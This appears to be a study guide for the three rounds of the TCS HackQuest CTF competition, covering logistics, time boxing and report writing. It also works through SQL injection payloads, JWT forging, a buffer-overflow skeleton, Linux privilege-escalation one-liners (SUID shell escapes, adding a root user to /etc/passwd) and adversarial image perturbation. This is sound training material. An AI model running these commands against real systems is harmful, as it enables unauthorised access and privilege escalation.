TCS HackQuest - Detailed Phase-by-Phase Competition Guide

Overview

This comprehensive guide provides detailed strategies, techniques, and workflows for each phase of TCS HackQuest Season X. Use this as your competition day reference to maximize performance across all three rounds.

PHASE 1: ROUND 1 - ONLINE CTF (6 Hours)

Pre-Competition Preparation (1 Day Before)

Technical Setup Checklist

Environment Verification (Complete 24 hours before)

```
# Verify all tools are functional
nmap --version
burpsuite --version
python3 --version
docker ps
radare2 -v
hashcat --version

# Test network connectivity
ping 8.8.8.8
curl https://www.google.com

# Verify screenshot capability
screencapture test.png  # macOS
```

Workspace Organization

```
# Create competition folder structure
mkdir -p ~/TCS_HackQuest_2025/{beginner,intermediate,expert}
mkdir -p ~/TCS_HackQuest_2025/reports
mkdir -p ~/TCS_HackQuest_2025/screenshots
mkdir -p ~/TCS_HackQuest_2025/scripts

# Pre-load essential wordlists
cp /path/to/SecLists/Passwords/Common-Credentials/* ~/TCS_HackQuest_2025/
cp /path/to/rockyou.txt ~/TCS_HackQuest_2025/
```

Document Preparation

- [ ] Report template opened in text editor
- [ ] Screenshot naming convention ready: `[category]_[challenge]_[timestamp].png`
- [ ] Note-taking document open (Notion, Obsidian, or plain text)
- [ ] Browser configured with FoxyProxy for Burp Suite
- [ ] Terminal split into multiple panes (tmux/iterm2)

Physical Preparation

Workspace Setup

- Clean, organized desk with minimal distractions
- External monitor (if available) for multi-tasking
- Water bottle and healthy snacks within reach
- Phone on silent mode, notifications disabled
- Comfortable chair, good posture

Mental Preparation

- 7-8 hours sleep night before
- Light exercise in morning
- Nutritious breakfast
- Arrive at computer 15 minutes early
- Deep breathing exercises

Hour 0:00-1:00 - Initial Reconnaissance Phase

Objectives

1. Read ALL challenge descriptions across all categories
2. Categorize challenges by difficulty and category
3. Identify "quick win" challenges
4. Create attack plan

Detailed Workflow

Minute 0-20: Complete Survey

```
Open competition platform
Navigate to challenges section
Create spreadsheet/note:

Challenge Name | Category | Difficulty | Points | Confidence | Priority
---------------|----------|------------|--------|------------|----------
```

```
Login Bypass   | Web      | Beginner   | 100    | High       | 1
Base64 Decode  | Crypto   | Beginner   | 100    | High       | 2
...
```

Minute 20-40: Strategic Prioritization

Sort challenges by:

1. **High confidence + Quick solve** (Beginner level in your strong areas)
2. **Medium confidence + Good points** (Intermediate in familiar categories)
3. **Low confidence + High points** (Expert challenges - attempt if time permits)

Example Priority List:

```
Priority 1 (Next 2 hours):
- SQL Injection Login Bypass (Web, 100pts) - Confident
- Caesar Cipher Decode (Crypto, 100pts) - Confident
- Hidden Directory (Web, 150pts) - Very Confident
- Steganography Image (Forensics, 100pts) - Confident

Priority 2 (Hours 3-4):
- JWT Token Manipulation (Web, 250pts) - Medium confidence
- Buffer Overflow (Pwn, 300pts) - Learning opportunity
...
```

Minute 40-60: Setup Challenge Workspace

```
# Navigate to competition folder
cd ~/TCS_HackQuest_2025/

# For each challenge, create workspace
mkdir beginner/sql_login_bypass
cd beginner/sql_login_bypass

# Create working files
touch notes.md
touch commands.sh
mkdir screenshots
```

Hours 1:00-3:00 - Beginner Challenge Sprint

Objective

Capture maximum flags quickly to build momentum and accumulate base points.

Workflow for Each Challenge (30-minute time box)

Minutes 0-5: Initial Analysis

```
1. Read challenge description carefully
2. Note any hints or special instructions
3. Identify challenge type (SQL injection, crypto, forensics, etc.)
4. Check for provided files/credentials
5. Open relevant tools
```

Minutes 5-20: Exploitation Attempt

```
1. Start with most obvious approach
2. Test basic payloads first
3. Document every command executed
4. Take screenshots of interesting findings
5. If stuck after 15 minutes, try different approach
```

Minutes 20-25: Flag Capture

```
1. When flag found, IMMEDIATELY screenshot with timestamp
2. Verify flag format matches expected (TCS{...})
3. Copy flag to separate secure note
4. Screenshot must show:
   - Flag clearly visible
   - Challenge name/URL
   - System timestamp
   - Your working terminal/browser
```

Minutes 25-30: Documentation Sprint

```
1. Open report template
2. Fill in challenge metadata
3. Document step-by-step approach
4. Insert screenshots
5. Save report as: HackQuest_YourName_ChallengeName.pdf
6. UPLOAD IMMEDIATELY (don't wait)
```

Example: SQL Injection Challenge (30 min breakdown)

0-5 min: Reconnaissance

```
# Open Burp Suite
burpsuite &amp;

# Configure browser proxy
# Navigate to challenge URL
# Analyze login form in DevTools
# Check page source for comments
curl http://challenge.url/ | grep -i "comment\|TODO\|admin"
```

5-15 min: Testing Payloads

```
# Test basic SQL injection
# Payload 1: admin' OR '1'='1
# Payload 2: admin'--
# Payload 3: ' UNION SELECT NULL,NULL,NULL--

# Intercept with Burp and modify
POST /login HTTP/1.1
Host: challenge.url
Content-Type: application/x-www-form-urlencoded

username=admin'+OR+'1'='1'--&amp;password=irrelevant
```

15-20 min: Flag Extraction

```
# If direct bypass doesn't work, try SQLmap
sqlmap -u "http://challenge.url/login" --data="username=admin&amp;password=test" --batch

# Or use UNION injection to dump tables
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
```

20-25 min: Screenshot & Verify

```
# Capture screenshot showing:
# 1. Flag on screen
# 2. URL bar
# 3. System clock
screencapture -T 0 ~/TCS_HackQuest_2025/screenshots/web_sql_bypass_$(date +%s).png
```

25-30 min: Report Writing

```
# RAPID REPORT TEMPLATE

## Challenge: SQL Injection Login Bypass
**Category**: Web | **Points**: 100 | **Time**: 25 minutes

## Approach
1. Identified SQL injection in login form username parameter
2. Tested basic bypass: `admin' OR '1'='1'--`
3. Successfully bypassed authentication
4. Retrieved flag from admin dashboard

## Flag
TCS{sql_1nj3ct10n_bypass_2024}

## Screenshot
[Insert screenshot showing flag + timestamp]
```

~~~
## Commands Used
```bash
curl http://challenge.url/login -d "username=admin'+OR+'1'='1'--&amp;password=test"
```

Submit report PDF immediately.

~~~

### Beginner Phase Targets

Realistic Goals (Hours 1-3):
- Solve 6-8 beginner challenges
- Accumulate 600-800 points
- Build confidence and momentum
- Perfect report writing workflow

## Hours 3:00-5:00 - Intermediate Challenge Focus

### Objective
Tackle more complex challenges requiring deeper analysis and multi-step exploitation.

### Workflow Adjustments (45-minute time box per challenge)

Extended Analysis Phase (10 minutes)
```

Intermediate challenges often require:

- Multiple exploitation steps
- Tool chaining
- Custom script development
- Deeper understanding of vulnerabilities

```

### Example: JWT Token Manipulation (45 min breakdown)

0-10 min: Understanding JWT
```bash
# Login and capture JWT token
curl -X POST http://challenge.url/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  &gt; token.json

# Extract and decode JWT
cat token.json | jq -r '.token' &gt; jwt.txt
cat jwt.txt

# Decode header and payload
```

```
echo "header_base64" | base64 -d | jq
echo "payload_base64" | base64 -d | jq
```

10-25 min: Exploitation Strategy

```
# Method 1: Try "none" algorithm attack
import jwt

payload = {"username": "user", "role": "admin"}
forged_token = jwt.encode(payload, "", algorithm="none")

# Method 2: Try weak secret brute force
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Method 3: Algorithm confusion attack
# If RS256 public key is available, try using it as HS256 secret
```

25-35 min: Testing & Verification

```
# Test forged token
curl http://challenge.url/api/admin/flag \
  -H "Authorization: Bearer $forged_token"

# If successful, capture flag
# If not, try alternative methods
```

35-45 min: Comprehensive Documentation

```
## JWT Token Manipulation

### Vulnerability Analysis
The application uses JWT for authentication but:
1. Accepts "none" algorithm tokens
2. Does not validate signature properly
3. Allows role escalation via payload modification

### Exploitation Steps
[Detailed step-by-step with code snippets]

### Root Cause
Missing JWT algorithm whitelist and signature validation

### Remediation
1. Implement algorithm whitelist (only allow HS256, RS256)
2. Validate signature for all tokens
3. Use strong secrets (256-bit minimum)
4. Implement role verification on backend
```

Intermediate Phase Targets

Realistic Goals (Hours 3-5):

- Solve 3-5 intermediate challenges
- Accumulate 750-1500 additional points
- Demonstrate advanced techniques
- Quality documentation showing deep understanding

Hour 5:00-5:30 - Expert Challenge Attempts (Optional)

Strategic Decision Point

Should you attempt Expert challenges?

Attempt if:

- ✓ All beginner challenges completed
- ✓ Most intermediate challenges solved
- ✓ Confident in specific expert category
- ✓ At least 45 minutes remaining

Skip if:

- ✗ Incomplete beginner/intermediate challenges
- ✗ Less than 45 minutes remaining
- ✗ No clear entry point identified
- ✗ Reports not yet submitted

Expert Challenge Approach (60-90 min time box)

Different Mindset Required:

```
Expert challenges test:
- Creative problem solving
- Tool mastery
- Persistence
- Research skills
- Outside-the-box thinking
```

Example: Advanced Binary Exploitation

Phase 1: Comprehensive Analysis (20 min)

```
# Static analysis
file binary
```

```
checksec binary
strings binary | grep -i "flag\|key\|password"
objdump -d binary | less
readelf -a binary

# Decompile with Ghidra
ghidra binary &amp;

# Dynamic analysis
ltrace ./binary
strace ./binary
gdb ./binary
```

Phase 2: Vulnerability Identification (20 min)

```
Look for:
- Buffer overflows (unsafe strcpy, gets, scanf)
- Format string bugs (%s, %x in printf)
- Use-after-free
- Integer overflows
- Logic errors in validation
```

Phase 3: Exploit Development (30-40 min)

```
from pwn import *

# Connect to challenge
p = remote('challenge.url', 1234)

# Send exploit payload
payload = b"A" * 64  # Buffer overflow padding
payload += p64(0xdeadbeef)  # Overwrite return address

p.sendline(payload)
p.interactive()
```

Phase 4: Documentation (10 min)

```
Even if unsuccessful:
- Document what you tried
- Explain your analysis
- Show understanding of concepts
- Partial credit may be awarded
```

Hour 5:30-6:00 - Final Submission Phase

CRITICAL: Do NOT skip this phase!

Minutes 5:30-5:45: Report Verification

```
# Checklist for EVERY report
for report in ~/TCS_HackQuest_2025/reports/*.pdf; do
    echo "Checking: $report"
    # Verify:
    # [ ] Flag visible in screenshot
    # [ ] Timestamp present
    # [ ] Step-by-step methodology documented
    # [ ] File size within limits
    # [ ] PDF opens correctly
done
```

Minutes 5:45-5:55: Upload All Reports

```
1. Go to TCS HackQuest submission portal
2. Upload reports one by one
3. Verify successful upload (check confirmation)
4. Keep backup copies
5. Note submission timestamps
```

Minutes 5:55-6:00: Final Verification

```
1. Count total flags captured
2. Verify all reports submitted
3. Check submission confirmation emails
4. Breathe and relax!
```

Common Last-Minute Mistakes to Avoid

✖ **DON'T**:

- Continue solving challenges after 5:30
- Rush report writing in last 10 minutes
- Upload all reports at 5:59 (may timeout)
- Forget to verify upload success
- Close browser before receiving confirmation

✅ **DO**:

- Stop attempting new challenges at 5:30
- Upload completed reports immediately
- Double-check every submission

- Keep browser open for confirmations
- Save all work locally

PHASE 2: ROUND 2 - PROCTORED ONLINE ASSESSMENT

Pre-Round Preparation

Technical Requirements

Camera & Audio Setup (Test 1 day before)

```
- Webcam functional and positioned correctly
- Microphone working (for communication if needed)
- Adequate lighting (face clearly visible)
- Stable internet connection (backup mobile hotspot ready)
- Quiet environment with no interruptions
- Inform family/roommates of timing
```

Workspace Requirements

```
- Clean desk (no notes visible)
- Only allowed materials
- System monitoring software installed (if required)
- Screen sharing enabled
- Second device for monitoring (if allowed)
```

What's Different from Round 1

Proctoring Implications:

1. **Camera must be ON throughout** - no breaks without permission
2. **Screen recorded** - all activity monitored
3. **No external communication** - no Discord, Slack, etc.
4. **Stricter time limits** - less flexibility
5. **Real-time monitoring** - proctor may ask questions

Advanced Challenge Types

Round 2 focuses on:

- **System Exploitation** - Privilege escalation, kernel exploits
- **AI/ML Vulnerabilities** - Adversarial attacks, model poisoning
- **Web Application Pentesting** - Full-stack exploitation

- **Mobile Security** - Android/iOS app analysis
- **Digital Forensics** - Memory dumps, timeline analysis
- **Threat Hunting** - Log analysis, IOC detection
- **Source Code Analysis** - Finding vulnerabilities in code
- **SOC Scenarios** - Incident response simulation

System Exploitation Challenges

Linux Privilege Escalation Methodology

Phase 1: Information Gathering (10 min)

```
# System information
uname -a
cat /etc/os-release
cat /etc/issue

# User information
id
whoami
groups
sudo -l

# Network information
ifconfig
ip addr
netstat -antup

# Running processes
ps auxf
ps -ef --forest

# Installed software
dpkg -l  # Debian/Ubuntu
rpm -qa  # RedHat/CentOS

# Kernel exploits
searchsploit kernel $(uname -r)
```

Phase 2: Finding Vulnerabilities (15 min)

```
# SUID binaries (most common)
find / -perm -4000 -type f 2&gt;/dev/null

# Check each SUID binary against GTFOBins
# Example: /usr/bin/vim with SUID
vim -c ':!/bin/sh'

# Writable /etc/passwd
ls -la /etc/passwd
```

```
# If writable, add new root user

# Sudo misconfigurations
sudo -l
# Look for NOPASSWD entries or vulnerable binaries

# Capabilities
getcap -r / 2&gt;/dev/null
# Check for cap_setuid+ep on python, perl, etc.

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
# Look for writable scripts run as root

# NFS shares
cat /etc/exports
# Check for no_root_squash

# Docker group membership
id | grep docker
# If in docker group: docker run -v /:/mnt -it alpine chroot /mnt sh
```

Phase 3: Exploitation (15 min)

```
# Example: SUID vim exploit
/usr/bin/vim -c ':!/bin/bash'

# Example: Sudo with NOPASSWD on find
sudo find /tmp -exec /bin/bash \;

# Example: Writable /etc/passwd
openssl passwd -1 -salt xyz password123
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' &gt;&gt; /etc/passwd
su hacker

# Example: Capabilities python
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Phase 4: Flag Capture (5 min)

```
# Once root
cat /root/flag.txt
# Or
find / -name flag.txt -type f 2&gt;/dev/null
```

AI/ML Security Challenges

Adversarial Attack Methodology

Scenario: ML model for image classification - bypass to misclassify images

Phase 1: Model Analysis (10 min)

```
import requests
import json

# Test model endpoint
url = "http://challenge.url/api/classify"

# Upload test image
files = {'image': open('test.jpg', 'rb')}
response = requests.post(url, files=files)

print(response.json())
# Output: {"class": "cat", "confidence": 0.95}

# Understand input format
# Understand output format
# Identify model type (CNN, ResNet, etc.)
```

Phase 2: Adversarial Example Generation (20 min)

```
from PIL import Image
import numpy as np

# Load original image
img = Image.open('cat.jpg')
img_array = np.array(img)

# Add imperceptible noise (FGSM attack)
epsilon = 0.1
perturbation = epsilon * np.sign(np.random.randn(*img_array.shape))
adversarial_img = np.clip(img_array + perturbation, 0, 255)

# Save adversarial image
Image.fromarray(adversarial_img.astype('uint8')).save('adversarial.jpg')

# Test misclassification
files = {'image': open('adversarial.jpg', 'rb')}
response = requests.post(url, files=files)
print(response.json())
# Output: {"class": "dog", "confidence": 0.87}  # Misclassified!
```

Phase 3: Model Extraction (If applicable)

```
# Query model with many inputs
# Record input-output pairs
# Train shadow model
# Extract decision boundaries
```

SOC Scenario Challenges

Incident Response Simulation

Scenario: Analyze SIEM logs to identify security incident and find flag

Phase 1: Log Analysis (15 min)

```
# Download log file
curl http://challenge.url/logs/syslog.txt &gt; syslog.txt

# Initial analysis
wc -l syslog.txt  # Count lines
head -n 20 syslog.txt  # View first 20 lines
tail -n 20 syslog.txt  # View last 20 lines

# Look for suspicious patterns
grep -i "failed\|error\|denied\|breach\|exploit" syslog.txt

# Timeline analysis
cat syslog.txt | cut -d' ' -f1-3 | sort | uniq -c
```

Phase 2: Threat Hunting (20 min)

```
# Look for failed login attempts
grep "Failed password" syslog.txt | wc -l
grep "Failed password" syslog.txt | awk '{print $11}' | sort | uniq -c | sort -rn

# Identify brute force attempts
grep "Failed password" syslog.txt | awk '{print $1,$2,$3,$11}' | head -n 20

# Look for successful login after failures
grep "Accepted password" syslog.txt

# Check for privilege escalation
grep "sudo" syslog.txt
grep "su:" syslog.txt

# Network connections
grep "ESTABLISHED\|SYN" syslog.txt
```

Phase 3: IOC Extraction (10 min)

```
# Extract suspicious IP addresses
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" syslog.txt | sort | uniq -c | sort -rn

# Extract suspicious URLs
```

```
grep -oE "https?://[a-zA-Z0-9./?=_-]*" syslog.txt

# Extract file hashes (if present)
grep -oE "\b[a-f0-9]{32}\b" syslog.txt  # MD5
grep -oE "\b[a-f0-9]{64}\b" syslog.txt  # SHA-256

# Flag often hidden in base64 or hex in logs
grep -oE "TCS\{[^}]+\}" syslog.txt
strings syslog.txt | grep -oE "TCS\{[^}]+\}"
```

Creating Comprehensive SOC Report

```
## Incident Response Report

### Executive Summary
Detected brute force SSH attack from IP 192.168.1.100 between 02:15-02:47 UTC.
Attacker successfully compromised user account "admin" and escalated privileges.

### Timeline
- 02:15:23 - First failed SSH login attempt
- 02:15:45 - 152 failed login attempts in 22 minutes
- 02:47:12 - Successful login as "admin"
- 02:48:30 - Privilege escalation via sudo
- 02:49:15 - Suspicious file download: payload.sh
- 02:50:00 - Reverse shell established

### Indicators of Compromise (IOCs)
- Attacker IP: 192.168.1.100
- Compromised Account: admin
- Malicious File: /tmp/payload.sh (MD5: abc123...)
- C2 Server: 10.0.0.50:4444

### Recommended Actions
1. Block attacker IP at firewall
2. Reset admin password
3. Review sudo configuration
4. Implement fail2ban for SSH
5. Enable MFA for all admin accounts

### Flag
TCS{S0C_1nc1d3nt_r3sp0ns3_2024}
```

Hour-by-Hour Round 2 Strategy

Challenge Distribution (Assume 4-6 hour duration)

Hour 1: System exploitation challenges (2 challenges)
Hour 2: Web application pentesting (2 challenges)
Hour 3: AI/ML security + Mobile security (2 challenges)
Hour 4: Digital forensics + Threat hunting (2 challenges)
Hours 5-6: SOC scenarios + Source code analysis (2-3 challenges)

Time Management

Per Challenge Allocation (45-60 min each):

```
10 min - Reconnaissance and understanding
25 min - Exploitation and testing
10 min - Flag capture and verification
10 min - Documentation
```

Proctoring Best Practices

During Round 2:

- ✓ Keep camera ON at all times
- ✓ Look at camera occasionally (acknowledge proctor)
- ✓ Speak clearly if communication needed
- ✓ Take notes on paper (shown to camera if asked)
- ✓ Use only allowed tools and websites
- ✓ Stay calm if connection issues occur

If Technical Issues:

1. Stay calm - raise hand to camera
2. Use chat function to contact proctor
3. Document issue timing
4. Wait for instructions
5. Don't panic - time may be adjusted

PHASE 3: ROUND 3 - IN-PERSON FINAL

Preparation (1 Week Before)

Technical Preparation

Review All Solutions:

```
Create comprehensive summary of:
1. Every challenge solved in Round 1
2. Every challenge solved in Round 2
3. Approach and methodology for each
4. Alternative solutions considered
5. Lessons learned
```

Practice Presentations:

```
Prepare 5-minute presentations for:
- Your best solution (most impressive)
- Most difficult challenge overcome
- Most creative approach used
- Failure you learned from
```

Question Preparation

Technical Questions to Expect:

1. "Walk us through your approach to [specific challenge]"
2. "Why did you choose this method over alternatives?"
3. "How would you prevent this vulnerability in production?"
4. "What tools did you use and why?"
5. "If you got stuck, how did you overcome it?"
6. "What would you do differently with more time?"

Behavioral Questions:

1. "Why do you want to work in cybersecurity?"
2. "Describe a time you failed and what you learned"
3. "How do you stay updated on security trends?"
4. "What's your favorite security research/tool?"
5. "How would you explain [complex topic] to non-technical person?"

Day of Round 3

What to Bring

Required:

- [ ] Valid government-issued ID
- [ ] TCS reference number (CT/DT)
- [ ] Laptop (fully charged)
- [ ] Charger
- [ ] Notebook and pen

Optional but Helpful:

- [ ] Resume (multiple copies)
- [ ] Portfolio of projects
- [ ] Business cards (if you have)
- [ ] Water bottle

- [ ] Light snacks

Format Expectations

Live Challenge + Presentation (3-4 hours total)

Part 1: Live Challenges (2 hours)

```
- Solve new challenges on-site
- Jury observes your methodology
- Explain your thought process aloud
- Demonstrate tool usage
- Show problem-solving approach
```

Part 2: Previous Solutions Defense (1 hour)

```
- Present selected solutions from Round 1 &amp; 2
- Jury asks technical questions
- Defend your approach
- Explain decision-making process
- Discuss alternative methods
```

Part 3: Interview (30-60 min)

```
- Technical depth questions
- Behavioral/cultural fit questions
- Career aspirations
- Passion for cybersecurity
- Learning agility
```

Live Challenge Strategy

Thinking Aloud:

```
Good: "I'm seeing a login form. Let me check the page source first
       for any comments or hidden fields. I notice the form submits
       to /api/authenticate, so I'll intercept this with Burp Suite
       to see the request structure..."

Bad:  *Silently typing for 5 minutes* "I found it."
```

Structured Approach:

```
1. "Let me first understand the challenge requirements"
2. "I'll start with reconnaissance to gather information"
3. "Based on what I see, I hypothesize this is [vulnerability type]"
4. "Let me test my hypothesis with [specific test]"
```

```
5. "That didn't work, so I'll try [alternative approach]"
6. "Success! Now let me verify and document the flag"
```

Handling Failure in Front of Jury:

```
Good: "This approach isn't working. Let me reconsider. I could try
       [alternative 1] or [alternative 2]. Let me pivot to alternative 1..."

Bad:  *Panicking* "I don't know what to do"
```

Presentation Best Practices

Structure:

```
1. Challenge Overview (30 sec)
   - "The challenge was a web app with SQL injection vulnerability"

2. Approach (1 min)
   - "I started with reconnaissance..."
   - "I identified the vulnerable parameter..."

3. Exploitation (2 min)
   - "I crafted this payload..."
   - "Here's why it worked..." [Show technical details]

4. Results (30 sec)
   - "Successfully captured the flag"
   - "Verified the vulnerability"

5. Remediation (1 min)
   - "To fix this, developers should..."
   - "Best practices include..."
```

Slide Design (if allowed):

```
- Maximum 5 slides per solution
- Large fonts (minimum 24pt)
- Code snippets readable from distance
- Screenshots showing key steps
- Highlight the flag capture
```

Answering Technical Questions

Framework:

```
1. Pause to think (3-5 seconds is OK)
2. Structure your answer
3. Start with high-level concept
4. Provide technical details
```

```
5. Give concrete example
6. Conclude with best practices
```

Example:

```
Q: "How does SQL injection work?"

A: "SQL injection is a web security vulnerability that allows attackers
    to interfere with database queries. [Pause]

    At a high level, it occurs when user input is concatenated directly
    into SQL queries without proper validation or sanitization.

    Technically, if a login form uses this vulnerable code:
    query = "SELECT * FROM users WHERE username='" + user_input + "'"

    An attacker can input: admin' OR '1'='1'--

    This modifies the query to:
    SELECT * FROM users WHERE username='admin' OR '1'='1'--'

    The OR '1'='1' always evaluates to true, bypassing authentication.

    To prevent this, developers should use parameterized queries or
    prepared statements, which separate SQL code from user data."
```

Handling "I Don't Know"

Good Responses:

```
"I haven't worked with that specific technology, but based on my
 understanding of similar systems, I would approach it by [reasoning]"

"That's not something I've encountered yet, but I'm very interested
 to learn about it. Could you share some resources?"

"I don't have practical experience with that, but I've read about
 [related concept] which I believe uses similar principles"
```

Bad Responses:

```
✖ Making up answers
✖ "I don't know" and stopping
✖ Defensive or dismissive attitude
```

Post-Round 3 (Regardless of Outcome)

Immediate Actions

Within 24 Hours:

```
- Send thank-you email to organizers
- Connect with fellow participants on LinkedIn
- Document your entire experience while fresh
- Reflect on lessons learned
- Identify areas for improvement
```

Within 1 Week:

```
- Write detailed notes on challenges you couldn't solve
- Research solutions to difficult challenges
- Update your resume with "TCS HackQuest Season X Participant"
- Share your experience (blog post, LinkedIn article)
- Apply learnings to ongoing projects
```

Leveraging the Experience

If You Win:

```
- Accept prize graciously
- Negotiate job offer if extended
- Build relationships with TCS cybersecurity team
- Mentor future participants
- Share your preparation strategy
```

If You Don't Win:

```
- You still gained invaluable experience
- Network with winners and learn from them
- Skills developed are transferable
- Use experience for other opportunities
- Compete again next year with more preparation
```

Final Thoughts

Success in TCS HackQuest isn't just about flags captured—it's about:

1. **Methodology** - Systematic problem-solving approach
2. **Communication** - Clearly explaining complex concepts
3. **Adaptability** - Pivoting when approaches don't work
4. **Persistence** - Not giving up when challenges are difficult

5. **Learning** - Growing from every challenge, win or lose

Remember: The competition is designed to push you beyond your comfort zone. Embrace the challenge, learn from every experience, and demonstrate your passion for cybersecurity.

**Good luck in all three rounds of TCS HackQuest! **

Appendix: Emergency Contact Information

Technical Support: [Will be provided by TCS]
Proctor Contact: [Available during Round 2]
Venue Coordinator: [Available during Round 3]

Always save these numbers in your phone before competition day.